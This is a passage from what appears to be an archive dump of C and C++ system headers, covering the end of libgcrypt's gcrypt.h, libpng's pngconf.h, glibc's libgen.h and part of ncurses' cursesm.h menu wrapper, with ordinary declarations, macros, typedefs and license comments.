R_G. If START_G is not NULL, use this as the start for the search. */ gcry_error_t gcry_prime_group_generator (gcry_mpi_t *r_g, gcry_mpi_t prime, gcry_mpi_t *factors, gcry_mpi_t start_g); /* Convenience function to release the FACTORS array. */ void gcry_prime_release_factors (gcry_mpi_t *factors); /* Check whether the number X is prime. */ gcry_error_t gcry_prime_check (gcry_mpi_t x, unsigned int flags); /************************************ * * * Miscellaneous Stuff * * * ************************************/ /* Release the context object CTX. */ void gcry_ctx_release (gcry_ctx_t ctx); /* Log data using Libgcrypt's own log interface. */ void gcry_log_debug (const char *fmt, ...) _GCRY_GCC_ATTR_PRINTF(1,2); void gcry_log_debughex (const char *text, const void *buffer, size_t length); void gcry_log_debugmpi (const char *text, gcry_mpi_t mpi); void gcry_log_debugpnt (const char *text, gcry_mpi_point_t point, gcry_ctx_t ctx); void gcry_log_debugsxp (const char *text, gcry_sexp_t sexp); char *gcry_get_config (int mode, const char *what); /* Log levels used by the internal logging facility. */ enum gcry_log_levels { GCRY_LOG_CONT = 0, /* (Continue the last log line.) */ GCRY_LOG_INFO = 10, GCRY_LOG_WARN = 20, GCRY_LOG_ERROR = 30, GCRY_LOG_FATAL = 40, GCRY_LOG_BUG = 50, GCRY_LOG_DEBUG = 100 }; /* Type for progress handlers. */ typedef void (*gcry_handler_progress_t) (void *, const char *, int, int, int); /* Type for memory allocation handlers. */ typedef void *(*gcry_handler_alloc_t) (size_t n); /* Type for secure memory check handlers. */ typedef int (*gcry_handler_secure_check_t) (const void *); /* Type for memory reallocation handlers. */ typedef void *(*gcry_handler_realloc_t) (void *p, size_t n); /* Type for memory free handlers. */ typedef void (*gcry_handler_free_t) (void *); /* Type for out-of-memory handlers. */ typedef int (*gcry_handler_no_mem_t) (void *, size_t, unsigned int); /* Type for fatal error handlers. */ typedef void (*gcry_handler_error_t) (void *, int, const char *); /* Type for logging handlers. */ typedef void (*gcry_handler_log_t) (void *, int, const char *, va_list); /* Certain operations can provide progress information. This function is used to register a handler for retrieving these information. */ void gcry_set_progress_handler (gcry_handler_progress_t cb, void *cb_data); /* Register a custom memory allocation functions. */ void gcry_set_allocation_handler ( gcry_handler_alloc_t func_alloc, gcry_handler_alloc_t func_alloc_secure, gcry_handler_secure_check_t func_secure_check, gcry_handler_realloc_t func_realloc, gcry_handler_free_t func_free); /* Register a function used instead of the internal out of memory handler. */ void gcry_set_outofcore_handler (gcry_handler_no_mem_t h, void *opaque); /* Register a function used instead of the internal fatal error handler. */ void gcry_set_fatalerror_handler (gcry_handler_error_t fnc, void *opaque); /* Register a function used instead of the internal logging facility. */ void gcry_set_log_handler (gcry_handler_log_t f, void *opaque); /* Reserved for future use. */ void gcry_set_gettext_handler (const char *(*f)(const char*)); /* Libgcrypt uses its own memory allocation. It is important to use gcry_free () to release memory allocated by libgcrypt. */ void *gcry_malloc (size_t n) _GCRY_GCC_ATTR_MALLOC; void *gcry_calloc (size_t n, size_t m) _GCRY_GCC_ATTR_MALLOC; void *gcry_malloc_secure (size_t n) _GCRY_GCC_ATTR_MALLOC; void *gcry_calloc_secure (size_t n, size_t m) _GCRY_GCC_ATTR_MALLOC; void *gcry_realloc (void *a, size_t n); char *gcry_strdup (const char *string) _GCRY_GCC_ATTR_MALLOC; void *gcry_xmalloc (size_t n) _GCRY_GCC_ATTR_MALLOC; void *gcry_xcalloc (size_t n, size_t m) _GCRY_GCC_ATTR_MALLOC; void *gcry_xmalloc_secure (size_t n) _GCRY_GCC_ATTR_MALLOC; void *gcry_xcalloc_secure (size_t n, size_t m) _GCRY_GCC_ATTR_MALLOC; void *gcry_xrealloc (void *a, size_t n); char *gcry_xstrdup (const char * a) _GCRY_GCC_ATTR_MALLOC; void gcry_free (void *a); /* Return true if A is allocated in "secure" memory. */ int gcry_is_secure (const void *a) _GCRY_GCC_ATTR_PURE; /* Return true if Libgcrypt is in FIPS mode. */ #define gcry_fips_mode_active() !!gcry_control (GCRYCTL_FIPS_MODE_P, 0) #if 0 /* (Keep Emacsens' auto-indent happy.) */ { #endif #ifdef __cplusplus } #endif #endif /* _GCRYPT_H */ /* Local Variables: buffer-read-only: t End: */ libpng16/pngconf.h 0000644 00000054475 15246445046 0010022 0 ustar 00 /* pngconf.h - machine configurable file for libpng * * libpng version 1.6.34, September 29, 2017 * * Copyright (c) 1998-2002,2004,2006-2016 Glenn Randers-Pehrson * (Version 0.96 Copyright (c) 1996, 1997 Andreas Dilger) * (Version 0.88 Copyright (c) 1995, 1996 Guy Eric Schalnat, Group 42, Inc.) * * This code is released under the libpng license. * For conditions of distribution and use, see the disclaimer * and license in png.h * * Any machine specific code is near the front of this file, so if you * are configuring libpng for a machine, you may want to read the section * starting here down to where it starts to typedef png_color, png_text, * and png_info. */ #ifndef PNGCONF_H #define PNGCONF_H #ifndef PNG_BUILDING_SYMBOL_TABLE /* else includes may cause problems */ /* From libpng 1.6.0 libpng requires an ANSI X3.159-1989 ("ISOC90") compliant C * compiler for correct compilation. The following header files are required by * the standard. If your compiler doesn't provide these header files, or they * do not match the standard, you will need to provide/improve them. */ #include <limits.h> #include <stddef.h> /* Library header files. These header files are all defined by ISOC90; libpng * expects conformant implementations, however, an ISOC90 conformant system need * not provide these header files if the functionality cannot be implemented. * In this case it will be necessary to disable the relevant parts of libpng in * the build of pnglibconf.h. * * Prior to 1.6.0 string.h was included here; the API changes in 1.6.0 to not * include this unnecessary header file. */ #ifdef PNG_STDIO_SUPPORTED /* Required for the definition of FILE: */ # include <stdio.h> #endif #ifdef PNG_SETJMP_SUPPORTED /* Required for the definition of jmp_buf and the declaration of longjmp: */ # include <setjmp.h> #endif #ifdef PNG_CONVERT_tIME_SUPPORTED /* Required for struct tm: */ # include <time.h> #endif #endif /* PNG_BUILDING_SYMBOL_TABLE */ /* Prior to 1.6.0 it was possible to turn off 'const' in declarations using * PNG_NO_CONST; this is no longer supported except for data declarations which * apparently still cause problems in 2011 on some compilers. */ #define PNG_CONST const /* backward compatibility only */ /* This controls optimization of the reading of 16-bit and 32-bit values * from PNG files. It can be set on a per-app-file basis - it * just changes whether a macro is used when the function is called. * The library builder sets the default; if read functions are not * built into the library the macro implementation is forced on. */ #ifndef PNG_READ_INT_FUNCTIONS_SUPPORTED # define PNG_USE_READ_MACROS #endif #if !defined(PNG_NO_USE_READ_MACROS) && !defined(PNG_USE_READ_MACROS) # if PNG_DEFAULT_READ_MACROS # define PNG_USE_READ_MACROS # endif #endif /* COMPILER SPECIFIC OPTIONS. * * These options are provided so that a variety of difficult compilers * can be used. Some are fixed at build time (e.g. PNG_API_RULE * below) but still have compiler specific implementations, others * may be changed on a per-file basis when compiling against libpng. */ /* The PNGARG macro was used in versions of libpng prior to 1.6.0 to protect * against legacy (pre ISOC90) compilers that did not understand function * prototypes. It is not required for modern C compilers. */ #ifndef PNGARG # define PNGARG(arglist) arglist #endif /* Function calling conventions. * ============================= * Normally it is not necessary to specify to the compiler how to call * a function - it just does it - however on x86 systems derived from * Microsoft and Borland C compilers ('IBM PC', 'DOS', 'Windows' systems * and some others) there are multiple ways to call a function and the * default can be changed on the compiler command line. For this reason * libpng specifies the calling convention of every exported function and * every function called via a user supplied function pointer. This is * done in this file by defining the following macros: * * PNGAPI Calling convention for exported functions. * PNGCBAPI Calling convention for user provided (callback) functions. * PNGCAPI Calling convention used by the ANSI-C library (required * for longjmp callbacks and sometimes used internally to * specify the calling convention for zlib). * * These macros should never be overridden. If it is necessary to * change calling convention in a private build this can be done * by setting PNG_API_RULE (which defaults to 0) to one of the values * below to select the correct 'API' variants. * * PNG_API_RULE=0 Use PNGCAPI - the 'C' calling convention - throughout. * This is correct in every known environment. * PNG_API_RULE=1 Use the operating system convention for PNGAPI and * the 'C' calling convention (from PNGCAPI) for * callbacks (PNGCBAPI). This is no longer required * in any known environment - if it has to be used * please post an explanation of the problem to the * libpng mailing list. * * These cases only differ if the operating system does not use the C * calling convention, at present this just means the above cases * (x86 DOS/Windows sytems) and, even then, this does not apply to * Cygwin running on those systems. * * Note that the value must be defined in pnglibconf.h so that what * the application uses to call the library matches the conventions * set when building the library. */ /* Symbol export * ============= * When building a shared library it is almost always necessary to tell * the compiler which symbols to export. The png.h macro 'PNG_EXPORT' * is used to mark the symbols. On some systems these symbols can be * extracted at link time and need no special processing by the compiler, * on other systems the symbols are flagged by the compiler and just * the declaration requires a special tag applied (unfortunately) in a * compiler dependent way. Some systems can do either. * * A small number of older systems also require a symbol from a DLL to * be flagged to the program that calls it. This is a problem because * we do not know in the header file included by application code that * the symbol will come from a shared library, as opposed to a statically * linked one. For this reason the application must tell us by setting * the magic flag PNG_USE_DLL to turn on the special processing before * it includes png.h. * * Four additional macros are used to make this happen: * * PNG_IMPEXP The magic (if any) to cause a symbol to be exported from * the build or imported if PNG_USE_DLL is set - compiler * and system specific. * * PNG_EXPORT_TYPE(type) A macro that pre or appends PNG_IMPEXP to * 'type', compiler specific. * * PNG_DLL_EXPORT Set to the magic to use during a libpng build to * make a symbol exported from the DLL. Not used in the * public header files; see pngpriv.h for how it is used * in the libpng build. * * PNG_DLL_IMPORT Set to the magic to force the libpng symbols to come * from a DLL - used to define PNG_IMPEXP when * PNG_USE_DLL is set. */ /* System specific discovery. * ========================== * This code is used at build time to find PNG_IMPEXP, the API settings * and PNG_EXPORT_TYPE(), it may also set a macro to indicate the DLL * import processing is possible. On Windows systems it also sets * compiler-specific macros to the values required to change the calling * conventions of the various functions. */ #if defined(_Windows) || defined(_WINDOWS) || defined(WIN32) ||\ defined(_WIN32) || defined(__WIN32__) || defined(__CYGWIN__) /* Windows system (DOS doesn't support DLLs). Includes builds under Cygwin or * MinGW on any architecture currently supported by Windows. Also includes * Watcom builds but these need special treatment because they are not * compatible with GCC or Visual C because of different calling conventions. */ # if PNG_API_RULE == 2 /* If this line results in an error, either because __watcall is not * understood or because of a redefine just below you cannot use *this* * build of the library with the compiler you are using. *This* build was * build using Watcom and applications must also be built using Watcom! */ # define PNGCAPI __watcall # endif # if defined(__GNUC__) || (defined(_MSC_VER) && (_MSC_VER >= 800)) # define PNGCAPI __cdecl # if PNG_API_RULE == 1 /* If this line results in an error __stdcall is not understood and * PNG_API_RULE should not have been set to '1'. */ # define PNGAPI __stdcall # endif # else /* An older compiler, or one not detected (erroneously) above, * if necessary override on the command line to get the correct * variants for the compiler. */ # ifndef PNGCAPI # define PNGCAPI _cdecl # endif # if PNG_API_RULE == 1 && !defined(PNGAPI) # define PNGAPI _stdcall # endif # endif /* compiler/api */ /* NOTE: PNGCBAPI always defaults to PNGCAPI. */ # if defined(PNGAPI) && !defined(PNG_USER_PRIVATEBUILD) # error "PNG_USER_PRIVATEBUILD must be defined if PNGAPI is changed" # endif # if (defined(_MSC_VER) && _MSC_VER < 800) ||\ (defined(__BORLANDC__) && __BORLANDC__ < 0x500) /* older Borland and MSC * compilers used '__export' and required this to be after * the type. */ # ifndef PNG_EXPORT_TYPE # define PNG_EXPORT_TYPE(type) type PNG_IMPEXP # endif # define PNG_DLL_EXPORT __export # else /* newer compiler */ # define PNG_DLL_EXPORT __declspec(dllexport) # ifndef PNG_DLL_IMPORT # define PNG_DLL_IMPORT __declspec(dllimport) # endif # endif /* compiler */ #else /* !Windows */ # if (defined(__IBMC__) || defined(__IBMCPP__)) && defined(__OS2__) # define PNGAPI _System # else /* !Windows/x86 && !OS/2 */ /* Use the defaults, or define PNG*API on the command line (but * this will have to be done for every compile!) */ # endif /* other system, !OS/2 */ #endif /* !Windows/x86 */ /* Now do all the defaulting . */ #ifndef PNGCAPI # define PNGCAPI #endif #ifndef PNGCBAPI # define PNGCBAPI PNGCAPI #endif #ifndef PNGAPI # define PNGAPI PNGCAPI #endif /* PNG_IMPEXP may be set on the compilation system command line or (if not set) * then in an internal header file when building the library, otherwise (when * using the library) it is set here. */ #ifndef PNG_IMPEXP # if defined(PNG_USE_DLL) && defined(PNG_DLL_IMPORT) /* This forces use of a DLL, disallowing static linking */ # define PNG_IMPEXP PNG_DLL_IMPORT # endif # ifndef PNG_IMPEXP # define PNG_IMPEXP # endif #endif /* In 1.5.2 the definition of PNG_FUNCTION has been changed to always treat * 'attributes' as a storage class - the attributes go at the start of the * function definition, and attributes are always appended regardless of the * compiler. This considerably simplifies these macros but may cause problems * if any compilers both need function attributes and fail to handle them as * a storage class (this is unlikely.) */ #ifndef PNG_FUNCTION # define PNG_FUNCTION(type, name, args, attributes) attributes type name args #endif #ifndef PNG_EXPORT_TYPE # define PNG_EXPORT_TYPE(type) PNG_IMPEXP type #endif /* The ordinal value is only relevant when preprocessing png.h for symbol * table entries, so we discard it here. See the .dfn files in the * scripts directory. */ #ifndef PNG_EXPORTA # define PNG_EXPORTA(ordinal, type, name, args, attributes) \ PNG_FUNCTION(PNG_EXPORT_TYPE(type), (PNGAPI name), PNGARG(args), \ PNG_LINKAGE_API attributes) #endif /* ANSI-C (C90) does not permit a macro to be invoked with an empty argument, * so make something non-empty to satisfy the requirement: */ #define PNG_EMPTY /*empty list*/ #define PNG_EXPORT(ordinal, type, name, args) \ PNG_EXPORTA(ordinal, type, name, args, PNG_EMPTY) /* Use PNG_REMOVED to comment out a removed interface. */ #ifndef PNG_REMOVED # define PNG_REMOVED(ordinal, type, name, args, attributes) #endif #ifndef PNG_CALLBACK # define PNG_CALLBACK(type, name, args) type (PNGCBAPI name) PNGARG(args) #endif /* Support for compiler specific function attributes. These are used * so that where compiler support is available incorrect use of API * functions in png.h will generate compiler warnings. * * Added at libpng-1.2.41. */ #ifndef PNG_NO_PEDANTIC_WARNINGS # ifndef PNG_PEDANTIC_WARNINGS_SUPPORTED # define PNG_PEDANTIC_WARNINGS_SUPPORTED # endif #endif #ifdef PNG_PEDANTIC_WARNINGS_SUPPORTED /* Support for compiler specific function attributes. These are used * so that where compiler support is available, incorrect use of API * functions in png.h will generate compiler warnings. Added at libpng * version 1.2.41. Disabling these removes the warnings but may also produce * less efficient code. */ # if defined(__clang__) && defined(__has_attribute) /* Clang defines both __clang__ and __GNUC__. Check __clang__ first. */ # if !defined(PNG_USE_RESULT) && __has_attribute(__warn_unused_result__) # define PNG_USE_RESULT __attribute__((__warn_unused_result__)) # endif # if !defined(PNG_NORETURN) && __has_attribute(__noreturn__) # define PNG_NORETURN __attribute__((__noreturn__)) # endif # if !defined(PNG_ALLOCATED) && __has_attribute(__malloc__) # define PNG_ALLOCATED __attribute__((__malloc__)) # endif # if !defined(PNG_DEPRECATED) && __has_attribute(__deprecated__) # define PNG_DEPRECATED __attribute__((__deprecated__)) # endif # if !defined(PNG_PRIVATE) # ifdef __has_extension # if __has_extension(attribute_unavailable_with_message) # define PNG_PRIVATE __attribute__((__unavailable__(\ "This function is not exported by libpng."))) # endif # endif # endif # ifndef PNG_RESTRICT # define PNG_RESTRICT __restrict # endif # elif defined(__GNUC__) # ifndef PNG_USE_RESULT # define PNG_USE_RESULT __attribute__((__warn_unused_result__)) # endif # ifndef PNG_NORETURN # define PNG_NORETURN __attribute__((__noreturn__)) # endif # if __GNUC__ >= 3 # ifndef PNG_ALLOCATED # define PNG_ALLOCATED __attribute__((__malloc__)) # endif # ifndef PNG_DEPRECATED # define PNG_DEPRECATED __attribute__((__deprecated__)) # endif # ifndef PNG_PRIVATE # if 0 /* Doesn't work so we use deprecated instead*/ # define PNG_PRIVATE \ __attribute__((warning("This function is not exported by libpng."))) # else # define PNG_PRIVATE \ __attribute__((__deprecated__)) # endif # endif # if ((__GNUC__ > 3) || !defined(__GNUC_MINOR__) || (__GNUC_MINOR__ >= 1)) # ifndef PNG_RESTRICT # define PNG_RESTRICT __restrict # endif # endif /* __GNUC__.__GNUC_MINOR__ > 3.0 */ # endif /* __GNUC__ >= 3 */ # elif defined(_MSC_VER) && (_MSC_VER >= 1300) # ifndef PNG_USE_RESULT # define PNG_USE_RESULT /* not supported */ # endif # ifndef PNG_NORETURN # define PNG_NORETURN __declspec(noreturn) # endif # ifndef PNG_ALLOCATED # if (_MSC_VER >= 1400) # define PNG_ALLOCATED __declspec(restrict) # endif # endif # ifndef PNG_DEPRECATED # define PNG_DEPRECATED __declspec(deprecated) # endif # ifndef PNG_PRIVATE # define PNG_PRIVATE __declspec(deprecated) # endif # ifndef PNG_RESTRICT # if (_MSC_VER >= 1400) # define PNG_RESTRICT __restrict # endif # endif # elif defined(__WATCOMC__) # ifndef PNG_RESTRICT # define PNG_RESTRICT __restrict # endif # endif #endif /* PNG_PEDANTIC_WARNINGS */ #ifndef PNG_DEPRECATED # define PNG_DEPRECATED /* Use of this function is deprecated */ #endif #ifndef PNG_USE_RESULT # define PNG_USE_RESULT /* The result of this function must be checked */ #endif #ifndef PNG_NORETURN # define PNG_NORETURN /* This function does not return */ #endif #ifndef PNG_ALLOCATED # define PNG_ALLOCATED /* The result of the function is new memory */ #endif #ifndef PNG_PRIVATE # define PNG_PRIVATE /* This is a private libpng function */ #endif #ifndef PNG_RESTRICT # define PNG_RESTRICT /* The C99 "restrict" feature */ #endif #ifndef PNG_FP_EXPORT /* A floating point API. */ # ifdef PNG_FLOATING_POINT_SUPPORTED # define PNG_FP_EXPORT(ordinal, type, name, args)\ PNG_EXPORT(ordinal, type, name, args); # else /* No floating point APIs */ # define PNG_FP_EXPORT(ordinal, type, name, args) # endif #endif #ifndef PNG_FIXED_EXPORT /* A fixed point API. */ # ifdef PNG_FIXED_POINT_SUPPORTED # define PNG_FIXED_EXPORT(ordinal, type, name, args)\ PNG_EXPORT(ordinal, type, name, args); # else /* No fixed point APIs */ # define PNG_FIXED_EXPORT(ordinal, type, name, args) # endif #endif #ifndef PNG_BUILDING_SYMBOL_TABLE /* Some typedefs to get us started. These should be safe on most of the common * platforms. * * png_uint_32 and png_int_32 may, currently, be larger than required to hold a * 32-bit value however this is not normally advisable. * * png_uint_16 and png_int_16 should always be two bytes in size - this is * verified at library build time. * * png_byte must always be one byte in size. * * The checks below use constants from limits.h, as defined by the ISOC90 * standard. */ #if CHAR_BIT == 8 && UCHAR_MAX == 255 typedef unsigned char png_byte; #else # error "libpng requires 8-bit bytes" #endif #if INT_MIN == -32768 && INT_MAX == 32767 typedef int png_int_16; #elif SHRT_MIN == -32768 && SHRT_MAX == 32767 typedef short png_int_16; #else # error "libpng requires a signed 16-bit type" #endif #if UINT_MAX == 65535 typedef unsigned int png_uint_16; #elif USHRT_MAX == 65535 typedef unsigned short png_uint_16; #else # error "libpng requires an unsigned 16-bit type" #endif #if INT_MIN < -2147483646 && INT_MAX > 2147483646 typedef int png_int_32; #elif LONG_MIN < -2147483646 && LONG_MAX > 2147483646 typedef long int png_int_32; #else # error "libpng requires a signed 32-bit (or more) type" #endif #if UINT_MAX > 4294967294U typedef unsigned int png_uint_32; #elif ULONG_MAX > 4294967294U typedef unsigned long int png_uint_32; #else # error "libpng requires an unsigned 32-bit (or more) type" #endif /* Prior to 1.6.0 it was possible to disable the use of size_t, 1.6.0, however, * requires an ISOC90 compiler and relies on consistent behavior of sizeof. */ typedef size_t png_size_t; typedef ptrdiff_t png_ptrdiff_t; /* libpng needs to know the maximum value of 'size_t' and this controls the * definition of png_alloc_size_t, below. This maximum value of size_t limits * but does not control the maximum allocations the library makes - there is * direct application control of this through png_set_user_limits(). */ #ifndef PNG_SMALL_SIZE_T /* Compiler specific tests for systems where size_t is known to be less than * 32 bits (some of these systems may no longer work because of the lack of * 'far' support; see above.) */ # if (defined(__TURBOC__) && !defined(__FLAT__)) ||\ (defined(_MSC_VER) && defined(MAXSEG_64K)) # define PNG_SMALL_SIZE_T # endif #endif /* png_alloc_size_t is guaranteed to be no smaller than png_size_t, and no * smaller than png_uint_32. Casts from png_size_t or png_uint_32 to * png_alloc_size_t are not necessary; in fact, it is recommended not to use * them at all so that the compiler can complain when something turns out to be * problematic. * * Casts in the other direction (from png_alloc_size_t to png_size_t or * png_uint_32) should be explicitly applied; however, we do not expect to * encounter practical situations that require such conversions. * * PNG_SMALL_SIZE_T must be defined if the maximum value of size_t is less than * 4294967295 - i.e. less than the maximum value of png_uint_32. */ #ifdef PNG_SMALL_SIZE_T typedef png_uint_32 png_alloc_size_t; #else typedef png_size_t png_alloc_size_t; #endif /* Prior to 1.6.0 libpng offered limited support for Microsoft C compiler * implementations of Intel CPU specific support of user-mode segmented address * spaces, where 16-bit pointers address more than 65536 bytes of memory using * separate 'segment' registers. The implementation requires two different * types of pointer (only one of which includes the segment value.) * * If required this support is available in version 1.2 of libpng and may be * available in versions through 1.5, although the correctness of the code has * not been verified recently. */ /* Typedef for floating-point numbers that are converted to fixed-point with a * multiple of 100,000, e.g., gamma */ typedef png_int_32 png_fixed_point; /* Add typedefs for pointers */ typedef void * png_voidp; typedef const void * png_const_voidp; typedef png_byte * png_bytep; typedef const png_byte * png_const_bytep; typedef png_uint_32 * png_uint_32p; typedef const png_uint_32 * png_const_uint_32p; typedef png_int_32 * png_int_32p; typedef const png_int_32 * png_const_int_32p; typedef png_uint_16 * png_uint_16p; typedef const png_uint_16 * png_const_uint_16p; typedef png_int_16 * png_int_16p; typedef const png_int_16 * png_const_int_16p; typedef char * png_charp; typedef const char * png_const_charp; typedef png_fixed_point * png_fixed_point_p; typedef const png_fixed_point * png_const_fixed_point_p; typedef png_size_t * png_size_tp; typedef const png_size_t * png_const_size_tp; #ifdef PNG_STDIO_SUPPORTED typedef FILE * png_FILE_p; #endif #ifdef PNG_FLOATING_POINT_SUPPORTED typedef double * png_doublep; typedef const double * png_const_doublep; #endif /* Pointers to pointers; i.e. arrays */ typedef png_byte * * png_bytepp; typedef png_uint_32 * * png_uint_32pp; typedef png_int_32 * * png_int_32pp; typedef png_uint_16 * * png_uint_16pp; typedef png_int_16 * * png_int_16pp; typedef const char * * png_const_charpp; typedef char * * png_charpp; typedef png_fixed_point * * png_fixed_point_pp; #ifdef PNG_FLOATING_POINT_SUPPORTED typedef double * * png_doublepp; #endif /* Pointers to pointers to pointers; i.e., pointer to array */ typedef char * * * png_charppp; #endif /* PNG_BUILDING_SYMBOL_TABLE */ #endif /* PNGCONF_H */ libgen.h 0000644 00000002551 15246445046 0006172 0 ustar 00 /* Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _LIBGEN_H #define _LIBGEN_H 1 #include <features.h> __BEGIN_DECLS /* Return directory part of PATH or "." if none is available. */ extern char *dirname (char *__path) __THROW; /* Return final component of PATH. This is the weird XPG version of this function. It sometimes will modify its argument. Therefore we normally use the GNU version (in <string.h>) and only if this header is included make the XPG version available under the real name. */ extern char *__xpg_basename (char *__path) __THROW; #define basename __xpg_basename __END_DECLS #endif /* libgen.h */ cursesm.h 0000644 00000046335 15246445046 0006423 0 ustar 00 // * This makes emacs happy -*-Mode: C++;-*- /**************************************************************************** * Copyright (c) 1998-2012,2014 Free Software Foundation, Inc. * * * * Permission is hereby granted, free of charge, to any person obtaining a * * copy of this software and associated documentation files (the * * "Software"), to deal in the Software without restriction, including * * without limitation the rights to use, copy, modify, merge, publish, * * distribute, distribute with modifications, sublicense, and/or sell * * copies of the Software, and to permit persons to whom the Software is * * furnished to do so, subject to the following conditions: * * * * The above copyright notice and this permission notice shall be included * * in all copies or substantial portions of the Software. * * * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * * IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, * * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR * * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR * * THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * * * Except as contained in this notice, the name(s) of the above copyright * * holders shall not be used in advertising or otherwise to promote the * * sale, use or other dealings in this Software without prior written * * authorization. * ****************************************************************************/ /**************************************************************************** * Author: Juergen Pfeifer, 1997 * ****************************************************************************/ // $Id: cursesm.h,v 1.30 2014/08/09 22:06:18 Adam.Jiang Exp $ #ifndef NCURSES_CURSESM_H_incl #define NCURSES_CURSESM_H_incl 1 #include <cursesp.h> extern "C" { # include <menu.h> } // // ------------------------------------------------------------------------- // This wraps the ITEM type of <menu.h> // ------------------------------------------------------------------------- // class NCURSES_IMPEXP NCursesMenuItem { friend class NCursesMenu; protected: ITEM *item; inline void OnError (int err) const THROW2(NCursesException const, NCursesMenuException) { if (err != E_OK) THROW(new NCursesMenuException (err)); } public: NCursesMenuItem (const char* p_name = NULL, const char* p_descript = NULL) : item(0) { item = p_name ? ::new_item (p_name, p_descript) : STATIC_CAST(ITEM*)(0); if (p_name && !item) OnError (E_SYSTEM_ERROR); } // Create an item. If you pass both parameters as NULL, a delimiting // item is constructed which can be used to terminate a list of // NCursesMenu objects. NCursesMenuItem& operator=(const NCursesMenuItem& rhs) { if (this != &rhs) { *this = rhs; } return *this; } NCursesMenuItem(const NCursesMenuItem& rhs) : item(0) { (void) rhs; } virtual ~NCursesMenuItem (); // Release the items memory inline const char* name () const { return ::item_name (item); } // Name of the item inline const char* description () const { return ::item_description (item); } // Description of the item inline int (index) (void) const { return ::item_index (item); } // Index of the item in an item array (or -1) inline void options_on (Item_Options opts) { OnError (::item_opts_on (item, opts)); } // Switch on the items options inline void options_off (Item_Options opts) { OnError (::item_opts_off (item, opts)); } // Switch off the item's option inline Item_Options options () const { return ::item_opts (item); } // Retrieve the items options inline void set_options (Item_Options opts) { OnError (::set_item_opts (item, opts)); } // Set the items options inline void set_value (bool f) { OnError (::set_item_value (item,f)); } // Set/Reset the items selection state inline bool value () const { return ::item_value (item); } // Retrieve the items selection state inline bool visible () const { return ::item_visible (item); } // Retrieve visibility of the item virtual bool action(); // Perform an action associated with this item; you may use this in an // user supplied driver for a menu; you may derive from this class and // overload action() to supply items with different actions. // If an action returns true, the menu will be exited. The default action // is to do nothing. }; // Prototype for an items callback function. typedef bool ITEMCALLBACK(NCursesMenuItem&); // If you don't like to create a child class for individual items to // overload action(), you may use this class and provide a callback // function pointer for items. class NCURSES_IMPEXP NCursesMenuCallbackItem : public NCursesMenuItem { private: ITEMCALLBACK* p_fct; public: NCursesMenuCallbackItem(ITEMCALLBACK* fct = NULL, const char* p_name = NULL, const char* p_descript = NULL ) : NCursesMenuItem (p_name, p_descript), p_fct (fct) { } NCursesMenuCallbackItem& operator=(const NCursesMenuCallbackItem& rhs) { if (this != &rhs) { *this = rhs; } return *this; } NCursesMenuCallbackItem(const NCursesMenuCallbackItem& rhs) : NCursesMenuItem(rhs), p_fct(0) { } virtual ~NCursesMenuCallbackItem(); bool action(); }; // This are the built-in hook functions in this C++ binding. In C++ we use // virtual member functions (see below On_..._Init and On_..._Termination) // to provide this functionality in an object oriented manner. extern "C" { void _nc_xx_mnu_init(MENU *); void _nc_xx_mnu_term(MENU *); void _nc_xx_itm_init(MENU *); void _nc_xx_itm_term(MENU *); } // // ------------------------------------------------------------------------- // This wraps the MENU type of <menu.h> // ------------------------------------------------------------------------- // class NCURSES_IMPEXP NCursesMenu : public NCursesPanel { protected: MENU *menu; private: NCursesWindow* sub; // the subwindow object bool b_sub_owner; // is this our own subwindow? bool b_framed; // has the menu a border? bool b_autoDelete; // Delete items when deleting menu? NCursesMenuItem** my_items; // The array of items for this menu // This structure is used for the menu's user data field to link the // MENU* to the C++ object and to provide extra space for a user pointer. typedef struct { void* m_user; // the pointer for the user's data const NCursesMenu* m_back; // backward pointer to C++ object const MENU* m_owner; } UserHook; // Get the backward pointer to the C++ object from a MENU static inline NCursesMenu* getHook(const MENU *m) { UserHook* hook = STATIC_CAST(UserHook*)(::menu_userptr(m)); assert(hook != 0 && hook->m_owner==m); return const_cast<NCursesMenu*>(hook->m_back); } friend void _nc_xx_mnu_init(MENU *); friend void _nc_xx_mnu_term(MENU *); friend void _nc_xx_itm_init(MENU *); friend void _nc_xx_itm_term(MENU *); // Calculate ITEM* array for the menu ITEM** mapItems(NCursesMenuItem* nitems[]); protected: // internal routines inline void set_user(void *user) { UserHook* uptr = STATIC_CAST(UserHook*)(::menu_userptr (menu)); assert (uptr != 0 && uptr->m_back==this && uptr->m_owner==menu); uptr->m_user = user; } inline void *get_user() { UserHook* uptr = STATIC_CAST(UserHook*)(::menu_userptr (menu)); assert (uptr != 0 && uptr->m_back==this && uptr->m_owner==menu); return uptr->m_user; } void InitMenu (NCursesMenuItem* menu[], bool with_frame, bool autoDeleteItems); inline void OnError (int err) const THROW2(NCursesException const, NCursesMenuException) { if (err != E_OK) THROW(new NCursesMenuException (this, err)); } // this wraps the menu_driver call. virtual int driver (int c) ; // 'Internal' constructor to create a menu without association to // an array of items. NCursesMenu( int nlines, int ncols, int begin_y = 0, int begin_x = 0) : NCursesPanel(nlines,ncols,begin_y,begin_x), menu (STATIC_CAST(MENU*)(0)), sub(0), b_sub_owner(0), b_framed(0), b_autoDelete(0), my_items(0) { } public: // Make a full window size menu NCursesMenu (NCursesMenuItem* Items[], bool with_frame=FALSE, // Reserve space for a frame? bool autoDelete_Items=FALSE) // Autocleanup of Items? : NCursesPanel(), menu(0), sub(0), b_sub_owner(0), b_framed(0), b_autoDelete(0), my_items(0) { InitMenu(Items, with_frame, autoDelete_Items); } // Make a menu with a window of 